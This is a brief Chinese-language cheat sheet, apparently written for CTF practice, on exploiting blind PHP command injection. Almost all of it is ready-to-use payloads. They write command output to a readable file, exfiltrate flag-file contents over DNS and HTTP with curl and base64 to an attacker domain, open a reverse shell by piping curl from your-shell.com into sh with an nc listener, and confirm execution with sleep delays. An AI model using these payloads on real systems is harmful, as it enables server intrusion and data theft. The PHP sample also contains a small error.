免责声明:本文仅做技术交流与学习...
目录
[1. 写入文件、二次返回:](#1. 写入文件、二次返回:)
[2. DNS信道:](#2. DNS信道:)
[4.反弹shell信道 -->公网IP](#4.反弹shell信道 -->公网IP)
[5.延时 sleep 3](#5.延时 sleep 3)
建立通道(信道) --数据传输的路径
shell_exec 与 system 相比,shell_exec没有回显结果.
绕过模版:
<?php
echo "hello world";
命令执行:
cmd=_POST['cmd'];
system($cmd);
?>
1. 写入文件、二次返回:
/?cmd=whoami>1.txt
再访问1.txt:
/?cmd=cat fl?g.php>1.txt
2. DNS信道:
/?cmd=ping -c 1 `执行命令`.域名 --1次解析
/?cmd=a=`sed -n "3,4p" fla?.php`;curl${a:0:10}.域名 --一次带出的字符有限.
/?cmd=a=`sed -n "3,4p" fla?.php`;curl${a:10:30}.域名
/?cmd=a=`sed -n "3,4p" fla?.php|base64`;curl${a:10:30}.域名 --base64编码
3.http信道:
(看get请求包)
/?cmd=curl http://域名/?1=\`ls .|base64`
/?cmd=curl http://域名/?1=\`cat fl?g.php|base64`
4.反弹shell信道 -->公网IP
(用微软的浏览器访问.)
curl https://your-shell.com/\<your公网ip>:1337 | sh
/?cmd=curl https://your-shell.com/\<your公网ip>:1337 | sh
服务器: nc -lvvnp 1337
5.延时 sleep 3
--麻烦啊
&2=sleep 3 ||还可验证命令执行.